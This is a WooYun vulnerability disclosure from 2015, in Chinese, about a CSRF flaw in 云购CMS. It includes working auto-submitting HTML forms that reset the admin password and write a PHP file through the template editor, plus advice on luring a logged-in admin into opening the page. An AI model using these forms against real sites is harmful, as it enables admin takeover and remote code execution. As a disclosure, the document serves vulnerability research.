当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089798

漏洞标题:云购CMS Csrf Getshell+修改管理员密码

相关厂商:yungoucms.com

漏洞作者: 浅蓝

提交时间:2015-01-05 12:27

修复时间:2015-04-05 12:28

公开时间:2015-04-05 12:28

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-08: 细节向第三方安全合作伙伴开放
2015-03-01: 细节向核心白帽子及相关领域专家公开
2015-03-11: 细节向普通白帽子公开
2015-03-21: 细节向实习白帽子公开
2015-04-05: 细节向公众公开

简要描述:

云购CMS Csrf Getshell

详细说明:

{W9G[40WGK}~BYDIW()02IA.png


修改模板的地方提交抓包
这是POST数据包提交的URL
http://localhost/yun/?/admin/template/update/Y2FydC5jYXJ0bGlzdC5odG1s#
仔细看一下这段URL Y2FydC5jYXJ0bGlzdC5odG1s 为Base64编码
解码后明文为
cart.cartlist.html
我们把x.php加密 x.php = eC5waHA=

POST
http://localhost/yun/?/admin/template/update/eC5waHA=#
content=<?php phpinfo();?>&submit=%E4%BF%9D%E5%AD%98%E6%A8%A1%E6%9D%BF


提交后就会在statics\templates\yungou\html目录下生成一个x.php
再来看看修改管理员密码
抓包后提交地址为:http://localhost/yun/?/admin/user/edit/1
分别提交了四个数据
Password 密码
Pwdconfirm 确认密码
Mid
submit-1
写个自动提交表单
改管理员密码

<form id="post123" name="post123" action="http://localhost/yun/?/admin/user/edit/1" method="post">
<input type=text name=password value="test123">
<input type=text name=pwdconfirm value="test123">
<input type=text name=mid value="0">
<input type=text name=submit-1 value="">
<script>
document.getElementById('post123').submit();
</script>
</form>


getshell
<form id="post123" name="post123" action="http://localhost/yun/?/admin/template/update/eC5waHA=#" method="post">
<input type=text name=content value="<?php phpinfo()?>">
<script>
document.getElementById('post123').submit();
</script>
</form>


W]8}SEFYX(S049E1QC(B6T1.png


PNLNN[~4M9]QZ%SUJE}VSP5.png


将表单存到任意网站 然后向管理员申请添加友情链接 (为的是让管理员先登录)
然后把url发给他 肯定会打开。 接着就坐等密码被改吧

漏洞证明:

W]8}SEFYX(S049E1QC(B6T1.png

修复方案:

你们更专业

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-05 13:35

厂商回复:

。看到了。

最新状态:

暂无